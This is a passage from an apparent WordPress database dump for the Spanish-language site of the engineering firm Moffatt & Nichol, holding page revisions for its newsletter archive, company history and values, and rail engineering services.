src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 2</em><strong class=\"green-new\">Los puertos ahora</strong></p></div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p></div></div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 7, número 2</em><strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p></div><p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 7, número 1</em><strong class=\"green-new\">Sobre rieles</strong></p></div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>\r\n','Boletín de noticias','','inherit','open','open','','75-revision-16','','','2012-06-18 10:17:53','2012-06-18 10:17:53','',75,'http://moffattnichol.com/spanish/75-revision-16/',0,'revision','',0),(2556,1,'2012-06-18 10:20:09','2012-06-18 10:20:09','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>último boletín de noticias</h1>\r\n<p><em>Volumen 9, número 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verá su primer centro intermodal en Cubatão, dirigido a aliviar la congestión de tráfico comercial y mantener la carga en movimiento. Si desea más información o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en línea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en línea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 9, número 1</em>\r\n<strong class=\"green-new\">Camino, puente, ¡Vamos!</strong></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 2</em><strong class=\"green-new\">Los puertos ahora</strong></p></div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 8, número 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p></div></div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-new\"><em class=\"aapa-date\">Volumen 7, número 2</em><strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p></div><p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p></div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two-new\"><em class=\"aapa-date\">Volumen 7, número 1</em><strong class=\"green-new\">Sobre rieles</strong></p></div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>\r\n','Boletín de noticias','','inherit','open','open','','75-revision-17','','','2012-06-18 10:20:09','2012-06-18 10:20:09','',75,'http://moffattnichol.com/spanish/75-revision-17/',0,'revision','',0),(2557,1,'2012-06-15 03:41:27','2012-06-15 03:41:27','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habían establecido una reputación como ingenieros creativos que entregaban diseños factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingeniería de frentes costeros, consolidando una firma que iría mucho más allá de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de Norteamérica, Europa, América Latina y la Cuenca del Pacífico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancías a nivel mundial. Hoy en día, con una cartera de más de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis áreas principales: puertos; recursos costeros, medioambientales e hídricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspección y rehabilitación; y energía. Estas áreas de especialización son complementadas por un grupo asesor comercial interno con analistas marítimos y de logística que se especializan en la adquisición y fusión de activos de infraestructura marítima, sistemas de transporte intermodal y pronósticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y técnico de calidad mundial ofrece a los clientes una visión integral del proyecto, con prácticas esenciales que reflejan la correlación única entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminación del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misión</h3> Ofrecemos soluciones que son innovadoras, prácticas, rentables y eficientes, pero nos distinguimos de la competencia con décadas de imaginación y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visión</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacción del cliente nuestra prioridad, y el servicio que proporcionamos en seis áreas principales de la práctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnología. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputación, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradición de conducta ética como la base de nuestro negocio.</li>\r\n	<li>Jamás hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir más de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfección.</li>\r\n	<li>Asegurar nuestro futuro mediante la superación constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea más información, póngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-11','','','2012-06-15 03:41:27','2012-06-15 03:41:27','',295,'http://moffattnichol.com/spanish/295-revision-11/',0,'revision','',0),(2558,1,'2012-06-15 07:05:15','2012-06-15 07:05:15','<div class=\"content_faq\">\r\n\r\n[vslider name=\"rails\"] &nbsp; <h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" 